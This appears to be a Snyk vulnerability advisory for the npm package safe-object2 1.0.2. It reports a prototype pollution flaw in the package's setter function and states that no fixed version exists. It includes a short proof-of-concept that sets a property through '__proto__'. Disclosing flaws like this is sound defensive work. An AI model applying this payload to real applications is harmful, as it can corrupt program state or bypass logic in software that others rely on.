safe-object2@1.0.2 vulnerabilities

Secure operation object get/set

Direct Vulnerabilities

Known vulnerabilities in the safe-object2 package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

safe-object2 is a Secure operation object get/set

Affected versions of this package are vulnerable to Prototype Pollution via the setter function.

POC

const safeObj2 = require(""safe-object2"");
const obj = safeObj2({});
obj.setter(['__proto__', 'polluted'], true)
console.log(polluted); // true

How to fix Prototype Pollution?

There is no fixed version for safe-object2.

*